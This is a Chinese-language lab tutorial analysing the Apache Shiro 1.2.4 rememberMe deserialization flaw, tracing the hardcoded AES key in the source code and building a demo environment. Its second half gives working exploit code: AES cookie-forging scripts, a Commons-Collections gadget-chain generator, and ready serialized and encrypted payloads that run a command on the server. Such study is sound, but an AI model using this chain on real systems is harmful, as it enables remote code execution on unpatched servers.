Shiro反序列化漏洞
2024-09-13 09:14:17 # javasec # shiro

介绍

Apache Shiro 是 Java 的一个安全(权限)框架。 Shiro 可以非常容易的开发出足够好的应用,其不仅可以用在 JavaSE 环境,也可以用在 JavaEE 环境。使用Shiro的人越来越多,因为它相当简单,对比Spring Security,可能没有Spring Security做的功能强大,但是在实际工作时可能并不需要那么复杂的东西,所以使用小而简单的Shiro就足够了。

Shiro 可以完成:认证、授权、加密、会话管理、与Web 集成、缓存 等。

shiro主要用于 Java 的权限及安全验证框架,其中编号为550的漏洞为非常严重的反序列化漏洞

浏览器在登陆的时候有个rememberMe的功能,shiro为了将用户的信息持久化保存到浏览器方便下一次直接登录,登录的时候就将Cookie中的RememberMe字段先AES解密再进行反序列化出用户对象

步骤如下

检查Cookie字段是否有RememberMe这个字段

将RememberMe字段进行base64解码

将解码后的值进行AES解密

将解密后的字节流进行反序列化

所以这里我们只需要知道AES的密钥就能够构造恶意的序列化payload让服务端反序列化

所以这里就到了漏洞的核心点:

在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。

搭建环境

https://github.com/phith0n/JavaThings

这里我们直接下载p神的shiroDemo漏洞环境

打开项目如上,首先webapp里面有两个配置文件,一个shiro的一个javaweb的

可以看到这里添加了一个filter到所以请求中,以及一个listener,初始界面设置成index.jsp

这个是shiro的配置文件,简单讲解一下

首先mian里面定义了shiro的登陆url,访问login.jsp进行登陆

[users]表示用户,这里一共有两个用户,root有admin权限密码为secret,guest有guest权限密码为guest

roles是权限列表,这里只有一个用户admin享有所有权限

[urls]表示各个url需要干的事情,比如login.jsp路径要求用户进行身份验证,以便处理登录请求

logout用于注销用户

/**用于匹配所有路径,用户要求身份验证

接着是两个jsp文件

这里没什么好说的,就写了个前端

最后看一下Maven里面导入的几个库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>

<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
<scope>provided</scope>
</dependency>

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>

</dependencies>
  • shiro-coreshiro-web,这是 shiro 本身的依赖
  • javax.servlet-apijsp-api,这是 JSP 和 Servlet 的依赖,仅在编译阶段使用,因为 Tomcat 中自带这两个依赖
  • slf4j-apislf4j-simple,这是为了显示 shiro 中的报错信息添加的依赖
  • commons-logging,这是 shiro 中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
  • commons-collections,为了演示反序列化漏洞,增加了commons-collections 依赖

接着导入tomcat,部署war包

最后运行可以看到进入了login.jsp的页面

输入root/secret就能成功登陆,这里我们勾选上Remember me然后抓个包看看

可以看到我们这里rememberMe=on的时候返回包里面返回了一个

1
Set-Cookie: rememberMe=Te3WG68B8MPWw2FPRhkVLdNEx1PaEKZcEWOS0ZUcTglxXfxwEsEqdRECCAkduZh8JqF6l1zc/UHNQcZPxbfvCDUhQgNBV6Lo7OtrgYt50WrcDf8UGbcRDIl84+MxXlWK88hyorBRNzEC8RiDUdDHrNHDzatYCx6iofEVm64m1DU5gEZGHtxTUPRTWtHXeqJeNyuZytsiBhnNwJVQIHrme0Y8a8t28AGYCn33HIeBZKvqxGTlQLvp6lN5RhspXXE46/rUX84fHmCokan0Do4eH9JRqSxecMVnrfaln6O2nU35qZT8Y8ttEMCR0whSBj0hdezY67zwVtEQYAriRvHOFUysTrzhvl+hzCPuUKFJecHeiFaEgmCiCltz4IdMPYVqFE5WunbZGTdBhw7Zy2RBmjIPkCKVQZL95lhXWXJBIO2J0n7aws1TaoMOZihSiD6vuZkuoCxBg0jG63rpQn/QzAJpbEf1rqu0ISyqEuQ3/8jJKDpDu4eGRSx2RXMcrGi/

Remember me字段,内容是base64编码的

不加Remember me则是返回rememberMe=deleteMe;,也就是不保存登陆信息

代码分析

这里我们通过shiro的源码进行分析这一系列的加密解密流程

我们通过查看漏洞详情或者搜索源代码很容易定位到,处理Remember me之一逻辑的类

查看这个类我们很容易找到几个特别显眼的方法,比如说这个getRememberedSerializedIdentity,他对Cookie进行了获取,判断是否为deleteMe,如果不是则进行base64解码

还有这里,将序列化的序列化的字节流编码成base64返回给cookie里

我们find usage查看下哪里调用了他们

最后定位到AbstractRememberMeManager这个类

这个类是CookieRememberMeManager继承的抽象父类

里面的getRememberedPrincipals方法调用了getRememberedSerializedIdentity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

可以看到这个方法解码之后的bytes如果不为空并且长度大于0则进入convertBytesToPrincipals函数,将解码出来的bytes传入

接着进入到AbstractRememberMeManager.convertBytesToPrincipals这个方法,即将字节流转化成对象

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

首先调用了decrypt方法对其进行了解密,然后调用deserialize方法进行了反序列化

首先我们跟进decrypt方法

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

这里调用了getDecryptionCipherKey()方法用于获取key

而这个方法是一个getter方法,直接返回的成员属性

接着我们看在哪对decryptionCipherKey这个成员属性进行了赋值操作

接着我们查找这个setter方法在哪里调用了,发现

在setCipherkey这方法里面同意定义了加密与解密的密钥,都为cipherKey

接着我们再往上找,发现在构造函数那里调用了setCipherkey方法,传入的参数值为DEFAULT_CIPHER_KEY_BYTES

这里我们跟进了一下发现这个DEFAULT_CIPHER_KEY_BYTES是一个私有常量,值为Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);

跟到这里加密解密部分就搞完了,接着回到convertBytesToPrincipals

解密完后进入deserialize方法进行反序列化

这里我们使用IDEA进行debug,不知道为什么解密一直断不上,所以这里尝试debug加密的流程

我们将断点打到encrypt上

我们看下这个cipherService可以发现使用的就是AES加密,用的CBC模式,PKCS5Padding拓展

AES/CBC/PKCS5Padding

再往上就是onSuccessfulLogin方法,判断是否是Rememberme,后面就是一些shiro的流程了,感兴趣可以去看看,反序列化流程debug不到就算了,猜也能猜到怎么写的

漏洞利用

所以shiro会对Remember Me里面的内容先base64解密,再将解码之后的内容前16字节位iv偏移后面的位密文,然后使用CBC模式以及 PKCS5Padding 拓展方式进行AES解密,解密使用的密文就为Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);

AES加密脚本

首先我们编写一个python脚本用于将反序列化payload加密成shiro所需要的payload

脚本如下

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-
# @Time : 2024/1/26 1:00
# @Author : pysnow
import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext


def aes_dec(enc_data):
enc_data = base64.b64encode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext


if __name__ == '__main__':
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAGKsr+ur4AAAA0ADYKAAkAJQoAJgAnCAAoCgAmACkHACoHACsKAAYALAcALQcALgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTENsYXNzTG9hZC9UZW1wbGF0ZUNvZGU7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQARVGVtcGxhdGVDb2RlLmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBABZDbGFzc0xvYWQvVGVtcGxhdGVDb2RlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAALAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAXAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADwAJABIADAAQAA0AEQAWABMADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJHB0AAZweXNub3dwdwEAeHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AAlbAAtpUGFyYW1UeXBlc3EAfgAIeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQABXZhbHVleA=="
data = base64.b64decode(payload)
print(aes_enc(data).decode())

java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package shiro;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.nio.file.FileSystems;
import java.nio.file.Files;

public class evil {
public static void main(String []args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("ser.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

攻击CC链

这个项目已经提前导入了Common-Collection库,所以可以直接使用CC链,这里我们使用最万金油的CC11,也就是CC6加TemplatesImpl

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "pysnow");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
byte[][] codes = {evil};
bytecodesField.set(templates, codes);

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");

lazyMap.remove(templates);
// 在 put 之后通过反射修改值
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, invokerTransformer);

ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bytes);
oos.writeObject(expMap);

String base64Encode = Base64.getEncoder().encodeToString(bytes.toByteArray());
System.out.println(base64Encode);
// serialize(expMap);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAGKsr+ur4AAAA0ADYKAAkAJQoAJgAnCAAoCgAmACkHACoHACsKAAYALAcALQcALgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTENsYXNzTG9hZC9UZW1wbGF0ZUNvZGU7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQARVGVtcGxhdGVDb2RlLmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBABZDbGFzc0xvYWQvVGVtcGxhdGVDb2RlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAALAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAXAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADwAJABIADAAQAA0AEQAWABMADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJHB0AAZweXNub3dwdwEAeHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AAlbAAtpUGFyYW1UeXBlc3EAfgAIeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQABXZhbHVleA==

经过AES加密脚本转化成如下

1
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